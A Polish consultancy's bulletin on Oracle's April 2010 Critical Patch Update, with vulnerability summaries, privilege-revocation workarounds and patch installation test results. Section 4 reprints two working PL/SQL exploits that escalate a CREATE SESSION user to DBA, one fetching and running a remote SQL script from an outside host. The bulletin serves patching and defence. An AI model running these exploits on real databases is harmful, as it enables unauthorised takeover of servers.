

CPU-Info 2/2010

Komentarze i testy
do Oracle Critical Patch Update
kwiecień 2010



Spis treści

Spis treści 2

1	Wprowadzenie.....	3
2	Podstawy.....	4
2.1	Analiza Oracle Technology Network (OTN) i Oracle Metalink	4
2.2	Dodatkowe źródła.....	4
3	Ocena ogólna.....	5
4	Usunięte luki w systemie bezpieczeństwa.....	7
5	Wyniki testów instalacji CPU na różnych systemach.....	12
5.1	Opis instalacji CPU.....	12
5.2	Wyniki przeprowadzonych testów	12
6	Dodatek.....	15
6.1	Glosariusz.....	15
7	Wskazówki prawne.....	15

1 Wprowadzenie

Witamy Państwa serdecznie na stronach kolejnego wydania CPU-Info 02/2010.

Z myślą o naszych klientach wspólnie z ekspertami firmy Red DataBase Security sporządziliśmy zestawienie usuniętych błędów oraz dokonaliśmy szczegółowej analizy poprawek znajdujących się w ostatnim wydaniu *Oracle Critical Patch Update Advisory – April 2010 (CPU)*.

Tę usługę oferujemy Państwu nadal bezpłatnie w formie dokumentu PDF. Zawiera ona ponadto testy instalacji CPU przeprowadzone na różnych platformach i wersjach bazy danych Oracle.

W ten sposób chcielibyśmy wesprzeć Państwa przy instalacji zestawu poprawek CPU, nadając jej bardziej przystępną i przyswajalną formę.

Będzie nam niezmiernie miło, jeśli zechcieliby Państwo podzielić się z nami swoimi uwagami. Ewentualne pytania prosimy kierować na adres:

Piotr Sajda

Kierownik Działu Service Engineering (SE)

OPITZ CONSULTING Kraków Sp. z o.o.
Bratysławska 1A
31-201 Kraków
tel. 12 617 1810
tel. kom. 519 309 710
piotr.sajda@opitz-consulting.com
www.opitz-consulting.pl



Björn Bröhl

Kierownik Działu Strategie & Innovation
(j. niemiecki lub angielski)

OPITZ CONSULTING GmbH
Kirchstr. 6
D-51647 Gummersbach
tel. +49 2261 6001 0
bjoern.broehl@opitz-consulting.com
www.opitz-consulting.com



2 Podstawy

2.1 Analiza Oracle Technology Network (OTN) i Oracle Metalink

Podstawą przeprowadzonej analizy są niżej wymienione źródła, jak również własne badania:

Oracle CPU April 2010 (*j. ang.*):

<http://www.oracle.com/technology/depoy/security/critical-patch-pdates/cpuapr2010.html#AppendixDB>

Map of Public Vulnerability to Advisory/Alert:

http://www.oracle.com/technology/depoy/security/critical-patch-updates/public_vuln_to_advisory_mapping.html

Dostępność Oracle Patch (*j. ang.*):

<https://support.oracle.com/CSP/main/article?cmd=show&type=NOT&id=1060989.1>

Critical Patch Update April 2010, Vulnerability Molecule Mapping:

<https://support.oracle.com/CSP/main/article?cmd=show&id=1061014.1&type=NOT>

Critical Patch Update April 2010, Known Issues:

<https://support.oracle.com/CSP/main/article?cmd=show&id=1060969.1&type=NOT>

2.2 Dodatkowe źródła

Następujące informacje zostały opublikowane przez firmy lub osoby zewnętrzne:

<http://www.oracle.com/technology/depoy/security/critical-patch-updates/cpujan2010.html>

<http://blog.red-database-security.com>

3 Ocena ogólna

Aktualna edycja CPU z kwietnia 2010 zawiera poraz pierwszy poprawki bezpieczeństwa dla produktów Sun oraz osiem poprawek dla systemu zarządzania bazą danych (RDBMS)¹. Siedem z ośmiu luk bezpieczeństwa dotyczy różnych wersji bazy danych Oracle, z kolei jedna odnosi się do linii produktowej Oracle Fusion Middleware², która w powiązaniu z określoną wersją bazy danych przedstawia nieco ryzykowną kombinację. Tym samym luka ta dopełnia edycję CPU Kwiecień 2010..

Kolejnymi produktami, dla których zostały dostarczone poprawki – w sumie chodzi o 47 produktów – są to Oracle Collaboration Suite, Oracle E-Business Suite, Oracle PeopleSoft Enterprise, Oracle Life Sciences, Retail und Communications Industry Suites, jak również różne produkty Sun. Siedem z czterdziestu siedmiu luk bezpieczeństwa przypada na różne wersje bazy danych Oracle. Luki te jednakże bez wcześniejszej autoryzacji nie mogą zostać wykorzystane zdalnie. Dlatego w aktualnej wersji CPU nie przedstawiono żadnych poprawek dla klienta baza/danowego. Dodatkowo zostały opublikowane trzy nowe poprawki PSU (*Patch System Update*) dla następujących wersji baz danych: 11.2.0.1.1, 11.1.0.7.3 oraz 10.2.0.4.4. W sumie dwie z siedmiu luk bezpieczeństwa odnoszą się do JVM (*Java Virtual Machine*), dwie do opcjonalnego komponentu bazy danych XML DB³, jedna do mechanizmu Data Change Capture, a kolejna do systemu audytu, wreszcie ostatnia dotyczy samego silnika bazy danych RDBMS.

Najbardziej krytyczna luka w systemie bezpieczeństwa bazy danych została oceniona przez CVSS⁴ Base Score na 7.1 punktów. (Informacje na temat stosowania przez Oracle standardu CVSS 2.0 można znaleźć w notce 394.487,⁵ - dostępnej za pomocą serwisu *My Oracle Support* - wymagany abonament). W wyniku przepełnienia bufora możliwa jest eskalacja uprawnień podczas tworzenia nowego konta użytkownika, w szczególności podczas przekazywania nietypowo długich haseł. Błąd ten wymaga przywileju „CREATE USER”, który zwykle nadawany jest wyłącznie uprzywilejowanym użytkownikom. Bardziej krytycznie oceniono słaby punkt w Oracle Internet Directory, który w kombinacji z bazą danych Oracle w wersji 9.2.0.8 (DV) otrzymał Base Score 7.5. Ponadto aktualne wydanie CPU zawiera również poprawki luk bezpieczeństwa, które zostały przedstawione przez David Litchfielda⁶ podczas konferencji Blackhat DC⁷ (CVE-2010-0866, CVE-2010-0867) oraz te, na które zwróciliśmy już uwagę w naszym poprzednim biuletynie CPU-Info⁸. Zostały one ocenione odpowiednio na Base Score 6.5 (CVE-2010-0866) oraz 4.0 (CVE-2010-0867), pomimo dostępnego już dla nich kodu źródłowego, który wraz z uprawnieniem CREATE SESSION umożliwia zdobycie uprawnień DBA lub SYSDBA a w dalszej konsekwencji umożliwia wywoływanie poleceń systemu operacyjnego.

¹ <http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuapr2010.html#AppendixDB>

² <http://www.oracle.com/de/products/middleware/index.html>

³ <http://www.oracle.com/technology/tech/xml/xmlldb/index.html>

⁴ <http://www.first.org/cvss/cvss-guide.html>

⁵ <https://support.oracle.com/CSP/main/article?cmd=show&type=NOT&id=394487.1>

⁶ <http://www.davidlitchfield.com/>

⁷ <http://www.blackhat.com/html/bh-dc-10/bh-dc-10-archives.html>

⁸ <http://www.opitz-consulting.pl/?id=785>

Dwie luki, które użytkowanie komponentu XML DB czynią ryzykownym, zostały ocenione na 5.5 (CVE-2010-0852) oraz 4.0 (CVE-2010-0851). Dla obu luk bezpieczeństwa wymagany jest przywilej CREATE SESSION. CVE-2010-0851 umożliwia eskalację przywilejów a CVE-2010-0851 atak typu DoS.

Dalszą możliwość przeprowadzenia ataku typu SQL-Injection udostępnia luka bezpieczeństwa CVE-2010-0870, oceniona na 3.8. Napastnik potrzebuje prawa EXECUTE do pakietu SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE. Istniejąca już od 2009 roku i rozpoznana przez Alexandra Kornbrusta luka CVE-2010-0854, oceniona na 2.1, przy pomocy optymalizatora umożliwia otrzymanie informacji na temat audytowanych obiektów bez pozostawiania śladu takiej aktywności. Wykorzystuje się tu optymalizator, który zwraca pewne informacje, jak np. liczbę zwracanych wierszy zapytań. Dzięki zręcznym zapytaniom okrężną drogą można wydobyć pewne informacje bez pozostawiania śladów.

Podsumowując, problemy bezpieczeństwa odnoszą się do następujących wersji baz danych - 9.2.0.8 (6 błędów), 9.2.0.8DV (6 błędów), 10.1.0.5 (4 błędy), 10.2.0.4 (3 błędy), 10.2.0.3 (2 błędy), 11.1.0.7 (4 błędy) oraz 11.2.0.1 (2 błędy).

W naszym aktualnym wydaniu CPU-Info opisujemy również, które wydania CPU zaplanowane są dla jakich platform oraz wersji baz danych. Dzięki tym informacjom chcielibyśmy umożliwić długoterminowe planowanie bezpieczeństwa dla administratorów baz danych oraz osób odpowiedzialnych za bezpieczeństwo.

4 Usunięte luki w systemie bezpieczeństwa

Poniżej prezentujemy zestawienie luk w zabezpieczeniach bazy Oracle. Wykryte naruszenia zabezpieczeń zostały opisane, ocenione pod kątem szkodliwości i skorygowane w udostępnionym kumulatywnym pakiecie poprawek, CPU Kwiecień 2010:

CVE-2010-0853 Oracle Internet Directory (dotyczy wersji: Oracle 9.2.0.8, 9.2.0.8DV, Oracle Identity Management 10g 10.1.4 .0.1, Oracle Application Server 10.1.2.3)

Luka CVE-2010-0853 jest poważnym problemem (Base Score 7.5), który został rozwiązany w kwietniowym CPU 2010. Błąd w komponentach Oracle Internet Directory umożliwia hakerom dostęp do danych i manipulowanie nimi. Komponenty te nadal wykazują problem bezpieczeństwa, który można wykorzystać jako atak typu DoS. Problem dotyczy wersji 10.1.4.0.1. Jednakże nie można jednoznacznie stwierdzić, czy luka jest zależna od wersji bazy danych. Ponadto komponenty portalu w Oracle Application Server w wersji 10.1.2.3 wykazuje błąd bezpieczeństwa. W tym przypadku możliwa jest manipulacja danymi czy dostęp do nich, jak również atak DoS. Obydwa produkty mogą być zaatakowane bez autentyfikacji.

CVE-2010-0860 Core RDBMS (dotyczy wersji: 9.2.0.8, 9.2.0.8DV, 10.1.0.5, 10.2.0.4, 11.1.0.7; typ: SQL-Injection)

Dla bazy danych Oracle luka ta jest opatrzona najwyższym ryzykiem bezpieczeństwa 7.1 i dotyczy większości wersji baz danych. Poprzez jednorazową autentyfikację oraz przy pomocy uprawnienia „CREATE USER” można w momencie zakładania użytkowników bazy danych spowodować przepełnienie bufora (Buffer Overflow). Przy tej okazji możliwe jest utworzenie użytkownika z nietypowo długim hasłem, bez walidacji tej operacji, co powoduje uzyskanie nieograniczonej kontroli nad bazą danych. Wprowadzenie takiego uprawnienia powinno być dostępne tylko dla administratorów, jednakże jeżeli przekazali je oni dalej, powinni je natychmiast odebrać. Przykładowy kod na eskalację uprawnień obecnie nie występuje. Na podstawie potrzebnych uprawnień niebezpieczeństwo jest mniejsze niż można by przypuszczać po Base Core.

CVE-2010-0866 JavaVM (dotyczy wersji: 11.1.0.7, 11.2.0.1; typ: SQL-Injection)

Oceniona na 6,5 SQL-Injection dotyczy komponentu Java VM. W tym przypadku dostępny jest przykładowy kod⁹, który powoduje wykorzystanie tej luki bezpieczeństwa. Jeżeli haker dysponuje kontem w bazie danych, uprawnieniem „CREATE SESSION” i dostępem do komponentu Oracle Java VM, może eskalować uprawnienia i uzyskać w ten sposób dostęp do bazy danych jako DBA lub SYSDBA.

W związku z tym napastnik uzyskuje nie tylko dostęp do bazy danych, lecz także do serwera bazy danych łącznie z systemem operacyjnym. Dotyczy to wszystkich wersji 11.1.0.7 oraz 11.2.0.1. Administratorzy, którzy nie mogą w krótkim czasie zainstalować kwietniowego CPU 2010, powinni

⁹ <http://blog.red-database-security.com/2010/02/04/oracle-11g-0day-exploit-published/>

natychmiast wycofać uprawnienia PUBLIC do pakietu DBMS_JAVA i DBMS_JAVA_TEST. Problem ten nie dotyczy wersji 11.2.0.1 na platformie Windows¹⁰.

Kod źródłowy obydwu luk jest przedstawiony poniżej, uzyskany z RepScan 3.0¹¹.

Typ	Eskalacja uprawnień
Dotyczy wersji	11.1 - 11.2 (11.2 Unix only)
Przetestowane na	11.2.0.1 (Linux)
Wymagania	CREATE SESSION
Błąd znaleziony przez	David Litchfield

Ten kod umożliwia eskalację uprawnień do DBA albo SYSDBA. Bug ten został usunięty w wersji 11.2.0.1.

----- Oracle 11.2.0.1 -----

```

DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT',user,'SYS','java.io.FilePermission','<<ALL
FILES>>','execute','ENABLED' FROM DUAL;
BEGIN OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/

SELECT
DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','oracle/aurora/rdbms/DbmsJava','SYS',
'writeOutputToFile','TEXT',NULL,NULL,NULL,0,1,1,1,1,0,'DECLARE
PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO
'|user|'''; END;', 'BEGIN NULL; END;') FROM DUAL;

EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW('NO_SUCH_SUBSCRIPTION',SYSDATE());
set role DBA;

```

----- Oracle 11.2.0.1 -----

CVE-2010-0852 XML DB (dotyczy wersji: 9.2.0.8, 9.2.0.8DV, 10.1.0.5, 10.2.0.3; typ: SQL-Injection)

Jak dotąd na temat luki **CVE-2010-0852** jest niewiele informacji. Dotyczy ona komponentów Oracle XML DB. Przy jednorazowej autentyfikacji i uprawnieniu „CREATE SESSION“ można eskalować uprawnienia w wersjach 9.2.0.8, 9.2.0.8DV, 10.1.0.5 oraz 10.2.0.3. Luka z wartością bezpieczeństwa ocenioną na 5.5. Haker może w tym wypadku również manipulować danymi. Podobny problem powoduje błąd CVE-2010-0851, który dotyczy tych samych wersji i komponentów Oracle.

CVE-2010-0867 JavaVM (dotyczy wersji: 10.2.0.4, 11.1.0.7, 11.2.0.1.0 ; typ: SQL-Injection)

¹⁰ <http://blog.red-database-security.com/2010/04/06/oracle-11201-for-windows/>

¹¹ <http://www.sentriqo.com/repSCAN>

Oceniona na 4.0 SQL-Injection dotyczy komponentu Java VM. Jest dla niej dostępny przykładowy kod¹², który wykorzystuje powyższą lukę. W przypadku, kiedy haker dysponuje kontem w bazie danych oraz uprawnieniem „CREATE SESSION“, a także ma do dyspozycji komponent Oracle Java VM, może eskalować uprawnienia i w konsekwencji uzyskać prawa DBA- lub SYSDBA. W związku z tym nie tylko może uzyskać kontrolę nad bazą danych, ale również nad serwerem bazy danych włącznie z systemem operacyjnym. Problem dotyczy wersji 11.1.0.7 oraz 11.2.0.1. Administratorzy, którzy nie zainstalowali kwietniowego CPU powinni pilnie wycofać uprawnienia PUBLIC do pakietów DBMS_JAVA i DBMS_JAVA_TEST. W wersji 11.2.0.1 dla systemu Windows¹³ problem ten już nie występuje¹⁴.

Kod źródłowy jest przedstawiony poniżej, uzyskany z RepScan 3.0¹⁵.

Typ	Eskalacja uprawnień
Dotyczy wersji	10.2.0.1-10.2.0.4
Przetestowane na	11.2.0.1 (Linux)
Usunięte w	unfixed (0day)
Wymagania	CREATE SESSION

Ten kod umożliwia eskalację uprawnień do DBA albo SYSDBA.

```

---- Oracle 10.2.0.4 ----

DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT',USER,'SYS','java.io.FilePermission','<<ALL
FILES>>','execute','ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/

SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main',
'/oracle/10g/bin/sqlplus','/ as sysdba',
 '@http://www.orasploit.com/becomedba.sql') FROM DUAL;

set role dba;

revoke dba from public;

---- Oracle 10.2.0.4 ----

```

CVE-2010-0851 XML DB (dotyczy wersji: 9.2.0.8, 9.2.0.8DV, 10.1.0.5, 10.2.0.3; typ: DoS)

¹² <http://blog.red-database-security.com/2010/02/04/oracle-11g-0day-exploit-published/>

¹³ <http://blog.red-database-security.com/2010/04/06/oracle-11201-for-windows/>

¹⁴ <http://blog.red-database-security.com/2010/04/06/oracle-11201-for-windows/>

¹⁵ <http://www.sentriqo.com/repSCAN>

Na temat luki CVE-2010-0851 brakuje dokładnych informacji. Dotyczy komponentu Oracle XML DB. Poprzez jednorazową autentyfikację i uprawnienia „CREATE SESSION“ w wersjach 9.2.0.8, 9.2.0.8DV, 10.1.0.5 oraz 10.2.0.3 możliwe jest przeprowadzenie ataku typu DoS. Luka z wartością ryzyka oceniona 4.9.

CVE-2010-0870 Change Data Capture (dotyczy wersji: 9.2.0.8, 9.2.0.8DV; typ: SQL-Injection)

Błąd CVE-2010-0870¹⁶ sklasyfikowany na poziomie ryzyka bezpieczeństwa na 3.6, dotyczy SQL-Injection. Pakiet PL/SQL-Paket DBMS_CDC_publish należy do Oracle Change Data Capture. Przez wywołanie procedury DROP_CHANGE_SOURCE oraz za pomocą odpowiednio ustawionych parametrów mogą być wywoływane instrukcje SQL z podwyższonymi uprawnieniami SYS. Napastnik musi posiadać prawa EXECUTE do tego pakietu i zostać zaautentyfikowany. Problem dotyczy wersji 9.2.0.8 oraz 9.2.0.8 DV.

CVE-2010-0854 Audit (dotyczy wersji: 9.2.0.8, 9.2.0.8DV, 10.1.0.5, 10.2.0.4, 11.1.0.7)

Luka CVE-2010-0854 istnieje od 2009, została już opisana przez Alexandra Kornbrusta i sklasyfikowana na poziomie ryzyka bezpieczeństwa na 2.1, przy pomocy optymalizatora umożliwia otrzymanie informacji na temat audytowanych obiektów, bez pozostawiania śladu. Hakerzy wykorzystują tu optymalizator, który zwraca pewne informacje, jak np. liczbę zwracanych wierszy zapytań. Dzięki zręcznym zapytaniom określną drogą można wydobyć pewne informacje bez pozostawiania śladów. Haker potrzebuje do tego konta w bazie danych. Alexander Kornbrust opublikuje szczegóły nt. tej luki w swoim blogu¹⁷.

Podsumowanie dla wersji 11.2.0.1:

Wersja 11.2.0.1, przede wszystkim na platformie Linux, jest podatna na błędy CVE-2010-0866 oraz CVE-2010-0867. Wersja dla platformy Windows nie jest podatna na żadne z opublikowanych luk bezpieczeństwa. Ponieważ istnieje tu ryzyko eskalacji uprawnień do DBA lub SYSDBA oraz możliwość wykonywania poleceń systemu operacyjnego, instalacja tej łatki jest bardzo zalecana. W przypadku, gdy CPU nie może zostać w krótkim czasie zaimplementowane, zaleca się rozwiązanie tymczasowe - proponujemy usunięcie (po uprzednich testach) poniższych uprawnień:

```
revoke execute on dbms_java from PUBLIC;
revoke execute on dbms_java_test from PUBLIC;
revoke execute on "oracle/aurora/util/Wrapper" from PUBLIC;
grant execute on sys.dbms_jvm_exp_perms to IMP_FULL_DATABASE;
grant execute on sys.dbms_jvm_exp_perms to EXP_FULL_DATABASE;
revoke execute on sys.dbms_jvm_exp_perms from PUBLIC;
```

¹⁶ <http://packetstormsecurity.org/1004-advisories/shatter-dbmscdcsql.txt>

¹⁷ <http://blog.red-database-security.com/2010/04/13/oracle-cpu-april-2010-is-out/>

Podsumowanie dla wersji 11.1.0.7:

Kwietniowy CPU 2010 zawiera dla powyższej wersji cztery poprawki bezpieczeństwa. Podobnie jak w przypadku wersji 11.2.0.1 oceniane są one jako krytyczne. Zalecana jest natychmiastowa instalacja tej poprawki. W przypadku, gdy CPU nie może zostać w krótkim czasie zaimplementowany, jako rozwiązanie tymczasowe proponujemy usunięcie (znów po uprzednich testach) wymienionych wcześniej uprawnień. Poza tym należy sprawdzić, jaki użytkownik posiada uprawnienie CREATE USER. Powinno ono zostać odebrane, ponieważ można się liczyć z tym, że wkrótce zostanie opublikowany przykładowy kod do wykorzystania tej luki.

Podsumowanie dla wersji 10.2.0.4:

W wersji tej występują dwa zaobserwowane błędy w systemie bezpieczeństwa - CVE-2010-0860 oraz CVE-2010-0867. Zalecamy postępowanie jak w przypadku wersji 11.1.0.7.

Podsumowanie dla wersji 10.2.0.3:

W wersji tej jedynie komponent XML jest zagrożony. Użytkownikom powyższej wersji zalecamy natychmiastowe zainstalowanie CPU. Ponieważ na temat tego problemu nie istnieją dalsze informacje, nie jesteśmy w stanie podać żadnego rozwiązania tymczasowego.

Podsumowanie dla wersji 10.1.0.5:

Wersja ta jest podatna na krytyczny błąd CVE-2010-0860. Należy sprawdzić, którzy użytkownicy posiadają odpowiednie prawa.

Podsumowanie dla wersji 9.2.0.8DV / 9.2.0.8:

Sześć z ośmiu opublikowanych w CPU błędów dotyczy powyższej wersji bazy danych. Z tego powodu zalecamy natychmiastową instalację CPU.

Kolejne wydanie Oracle CPU

Kolejna edycja CPU zaplanowana jest na **13 lipca 2010**. Jak zwykle poinformujemy Państwa o wszelkich szczegółach. Następne wersje Oracle Critical Patch Updates ukażą się odpowiednio **12 października 2010** oraz **18 stycznia 2011** roku.

5 Wyniki testów instalacji CPU na różnych systemach

5.1 Opis instalacji CPU

Ponieważ jesteśmy świadomi, że instalacja każdego z Critical Patch Updates (CPU) na różnych systemach wymaga wiele trudu, wykonaliśmy to zadanie dla Państwa. Zatem w ramach nowego CPU-Info zainstalowaliśmy każde CPU na różnorodnych systemach i wersjach baz danych Oracle.

Są to aktualnie:

Platform	Linux x86-64	Solaris 64 Bit (SPARC)	AIX 5L	Windows AMD 64 Windows 2003 R2 SP2 64 Bit
Version	11.2.0.1	11.1.0.7	11.1.0.7	11.1.0.7
	11.1.0.7	10.2.0.4	10.2.0.4	10.2.0.4
	10.2.0.4			

Tabela 2: Przetestowane systemy i wersje baz danych

Instalacje są testowane zarówno manualnie jak i automatycznie poprzez Oracle Grid Control. Chętnie wesprzemy Państwa przy konfiguracji Oracle Grid Control odnośnie automatycznego *Patch Deployment* lub też innej konfiguracji oprogramowania firmy Oracle.

Jako podstawę do instalacji aktualnego CPU wykorzystujemy zawsze wcześniejsze instalacje CPU (dla aktualnego CPU-Info wykorzystaliśmy CPU ze stycznia 2010)

5.2 Wyniki przeprowadzonych testów

Poniżej przedstawiamy zestawienie przedstawiające listę łatek zainstalowanych na poszczególnych wersjach baz danych opatrzoną komentarzami odnośnie ewentualnych spostrzeżeń/problemów zaobserwowanych podczas instalacji.


Platforma	Linux x86-64	Linux x86-64	Linux x86-64	Solaris 64 Bit (SPARC)	Solaris 64 Bit (SPARC)
Wersja RDBMS	11.1.0.7	10.2.0.4	11.2.0.1	10.2.0.4	11.1.0.7
Numer Patcha	9369783	9352191	9369797	9352191	9369783
Wynik instalacji manualnej	✔	✔	✔	✔	✔
Komentarz do instalacji manualnej	Instalacja ręczna poprawnie przebiega na bazie CPUJan2010	Instalacja ręczna poprawnie przebiega na bazie CPUJan2010	Instalacja ręczna poprawnie przebiega na bazie CPUJan2010	Instalacja ręczna poprawnie przebiega na bazie CPUJan2010	Instalacja ręczna poprawnie przebiega na bazie CPUJan2010
Wynik instalacji automatycznej	✔	✔	✔	✔	✔
Komentarz do instalacji automatycznej	 Wymagana reinstalacja agenta: agentca -f Instalacja poprawnie przebiega na bazie CPUJan2010	Instalacja poprawnie przebiega na bazie CPUJan2010	Instalacja poprawna	Instalacja poprawnie przebiega na bazie CPUJan2010	Instalacja poprawnie przebiega na bazie CPUJan2010

Tabelle 3a: Wyniki instalacji testowych

Plattform	AIX 5L	AIX 5L	Windows AMD 64 Windows 2003 R2 SP2 64 Bit	Windows AMD 64 Windows 2003 R2 SP2 64 Bit
Wersja RDBMS	10.2.0.4	11.1.0.7	10.2.0.4	11.1.0.7
Numer Patcha	9352191	9369783	9393550	9392335
Wynik instalacji manualnej	✔	✔	✔	✔
Komentarz do instalacji manualnej	Instalacja ręczna poprawnie przebiega na bazie CPUJan2010	Instalacja ręczna poprawnie przebiega na bazie	Instalacja ręczna poprawnie przebiega na bazie CPUJan2010	Instalacja ręczna poprawnie przebiega na bazie CPUJan2010










		CPUJan2010		
Wynik instalacji automatycznej				
Komentarz do instalacji automatycznej	 OUI-67124: Copy failed lib/libjox10.a. This is a commonly reported error for AIX platform. Running /usr/sbin/slibclean as root is used to resolve this condition Instalacja poprawnie przebiega na bazie CPUJan2010	 expandPatch failed, Bug 8620131 SUPPORT CHECKSUM CHECK IN OPATCH UPDATE JOB. Rozwiązanie: dodanie pliku OPatch Instalacja poprawnie przebiega na bazie CPUJan2010	Instalacja poprawnie przebiega na bazie CPUJan2010	Instalacja poprawnie przebiega na bazie CPUJan2010

Tabelle 3b: Wyniki instalacji testowych

Legenda:

-  = Wykonano pomyślnie, żadne błędy nie wystąpiły.
-  = Wykonano pomyślnie, lecz dodatkowe kroki musiały zostać wykonane
-  = Błąd. Dany krok nie został wykonany

6 Dodatek

6.1 Glosariusz

Poniższy słownik zawiera krótkie opisy terminów użytych w CPU-Info.

CPU – oznacza *Critical Patch Updates*, określenie używane przez Oracle na poprawki związane z bezpieczeństwem. Za pomocą zapytania SQL (`select * from dba_registry_history`) można dowiedzieć się, jaka poprawka jest zainstalowana w bazie danych.

CVE – jest skrótem od „*Common Vulnerabilities and Exposures*“, będącym standardowym terminem dla luk w systemie bezpieczeństwa w systemach komputerowych.

DoS – skrót od „*Denial of Service*“ i oznacza formę ataku na serwer lub komputer w sieci celem uniemożliwienia zdolności do świadczenia jego usług. Z reguły dokonuje się tego przez przeciążenie.

SQL-Injection – jest luką w systemie bezpieczeństwa we (wszystkich) bazach danych, dzięki której atakujący używając dodatkowych poleceń SQL pozyskuje uprawnienia lub dostęp do nieuprawnionych danych. *SQL-Injection* może wystąpić na wszystkich warstwach oprogramowania (klient, serwer aplikacyjny, baza danych, skrypty bazodanowe). Przyczyną jest zawsze zła walidacja wprowadzanych danych.

7 Wskazówki prawne

W celu sporządzenia powyższego CPU-Info **OPITZ CONSULTING** oraz firma Red Database Security przeprowadzają testy w oparciu o instalacje standardowe. Weryfikacje te przeprowadzone są z należytą starannością i obszerną wiedzą doświadczonych ekspertów. Nie mogąc jednak wykluczyć dodatkowych czynników wpływających na różnice pomiędzy środowiskiem testowym a specyfiką środowiska klienta, OPITZ CONSULTING oraz firma Red Database Security nie ponoszą jednak odpowiedzialności za szkody powstałe w skutek zainstalowania lub nie zainstalowania poprawek zawartych w Critical Patch Update.